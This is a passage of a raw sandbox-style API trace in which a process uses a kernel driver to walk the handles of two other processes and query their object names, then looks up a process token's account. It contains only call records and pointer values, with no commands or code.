Object=0xfffff88005233548*=0xfffffa80103235d0, HandleInformation=0x0) returned 0x0 [0095.675] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.675] PsReleaseProcessExitSynchronization () returned 0x2 [0095.675] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0095.675] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.676] ObfDereferenceObject (Object=0xfffffa80103235d0) returned 0x1 [0095.676] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.676] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.676] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.676] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.676] PsAcquireProcessExitSynchronization () returned 0x0 [0095.676] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0) [0095.676] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003582f20, HandleInformation=0x0) returned 0x0 [0095.676] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.676] PsReleaseProcessExitSynchronization () returned 0x2 [0095.676] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0095.676] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.676] ObfDereferenceObject (Object=0xfffffa8003582f20) returned 0x1 [0095.676] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.676] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.676] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.676] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.676] PsAcquireProcessExitSynchronization () returned 0x0 [0095.676] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0) [0095.676] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0095.676] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.676] PsReleaseProcessExitSynchronization () returned 0x2 [0095.676] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0095.676] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.677] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0095.677] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.677] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.677] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0095.677] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.677] PsAcquireProcessExitSynchronization () returned 0x0 [0095.677] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0) [0095.677] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80023c9470, HandleInformation=0x0) returned 0x0 [0095.677] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.677] PsReleaseProcessExitSynchronization () returned 0x2 [0095.677] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0095.677] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.677] ObfDereferenceObject (Object=0xfffffa80023c9470) returned 0x1 [0095.677] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.677] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.677] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0095.677] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.677] PsAcquireProcessExitSynchronization () returned 0x0 [0095.677] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0) [0095.677] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021ab070, HandleInformation=0x0) returned 0x0 [0095.677] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.677] PsReleaseProcessExitSynchronization () returned 0x2 [0095.677] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0095.677] ObQueryNameString (in: Object=0xfffffa80021ab070, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.677] ObfDereferenceObject (Object=0xfffffa80021ab070) returned 0x1 [0095.677] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.678] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.678] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0095.678] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.678] PsAcquireProcessExitSynchronization () returned 0x0 [0095.678] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0) [0095.678] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025c0780, HandleInformation=0x0) returned 0x0 [0095.678] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.678] PsReleaseProcessExitSynchronization () returned 0x2 [0095.678] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0095.678] ObQueryNameString (in: Object=0xfffffa80025c0780, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.678] ObfDereferenceObject (Object=0xfffffa80025c0780) returned 0x10 [0095.678] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.678] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.678] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0095.678] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.678] PsAcquireProcessExitSynchronization () returned 0x0 [0095.678] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0) [0095.678] ObReferenceObjectByHandle (in: Handle=0x1cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002004d00, HandleInformation=0x0) returned 0x0 [0095.678] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.678] PsReleaseProcessExitSynchronization () returned 0x2 [0095.678] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0095.678] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.678] ObfDereferenceObject (Object=0xfffffa8002004d00) returned 0x3 [0095.678] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.678] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.678] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xc0 [0095.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.678] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001ff4060, HandleInformation=0x0) returned 0x0 [0095.678] ObOpenObjectByPointer (in: Object=0xfffffa8001ff4060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800004f8) returned 0x0 [0095.679] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x20 [0095.679] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800004f8, DesiredAccess=0x8, TokenHandle=0xfffffa800247c980 | out: TokenHandle=0xfffffa800247c980*=0xc8) returned 0x0 [0095.679] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.679] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.679] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.679] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.680] CloseHandle (hObject=0xc8) returned 1 [0095.680] CloseHandle (hObject=0xc0) returned 1 [0095.680] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0095.680] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.680] PsAcquireProcessExitSynchronization () returned 0x0 [0095.680] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.680] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800355c700, HandleInformation=0x0) returned 0x0 [0095.680] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.680] PsReleaseProcessExitSynchronization () returned 0x2 [0095.680] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.680] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.680] ObfDereferenceObject (Object=0xfffffa800355c700) returned 0x1 [0095.680] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.680] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.680] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0095.681] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.681] PsAcquireProcessExitSynchronization () returned 0x0 [0095.681] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.681] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003517d50, HandleInformation=0x0) returned 0x0 [0095.681] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.681] PsReleaseProcessExitSynchronization () returned 0x2 [0095.681] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.681] ObQueryNameString (in: Object=0xfffffa8003517d50, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.681] ObfDereferenceObject (Object=0xfffffa8003517d50) returned 0x1 [0095.681] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.681] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.681] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.681] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.681] PsAcquireProcessExitSynchronization () returned 0x0 [0095.681] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.681] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.681] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.681] PsReleaseProcessExitSynchronization () returned 0x2 [0095.681] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.681] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.681] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.681] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.681] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.681] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.681] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.681] PsAcquireProcessExitSynchronization () returned 0x0 [0095.681] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.682] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800216c2a0, HandleInformation=0x0) returned 0x0 [0095.682] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.682] PsReleaseProcessExitSynchronization () returned 0x2 [0095.682] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.682] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.682] ObfDereferenceObject (Object=0xfffffa800216c2a0) returned 0x1 [0095.682] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.682] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.682] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.682] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.682] PsAcquireProcessExitSynchronization () returned 0x0 [0095.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.682] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002397da0, HandleInformation=0x0) returned 0x0 [0095.682] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.682] PsReleaseProcessExitSynchronization () returned 0x2 [0095.682] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.682] ObQueryNameString (in: Object=0xfffff8a002397da0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.682] ObfDereferenceObject (Object=0xfffff8a002397da0) returned 0x1 [0095.682] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.682] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.682] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0095.682] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.682] PsAcquireProcessExitSynchronization () returned 0x0 [0095.682] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.682] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002184760, HandleInformation=0x0) returned 0x0 [0095.682] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.682] PsReleaseProcessExitSynchronization () returned 0x2 [0095.682] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.682] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.682] ObfDereferenceObject (Object=0xfffffa8002184760) returned 0x1 [0095.682] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.683] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.683] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0095.683] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.683] PsAcquireProcessExitSynchronization () returned 0x0 [0095.683] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.683] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80018f72a0, HandleInformation=0x0) returned 0x0 [0095.683] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.683] PsReleaseProcessExitSynchronization () returned 0x2 [0095.683] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.683] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.683] ObfDereferenceObject (Object=0xfffffa80018f72a0) returned 0x1 [0095.683] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.683] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.683] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.683] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.683] PsAcquireProcessExitSynchronization () returned 0x0 [0095.683] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880052335d0) [0095.683] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.683] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.683] PsReleaseProcessExitSynchronization () returned 0x2 [0095.683] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0095.683] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 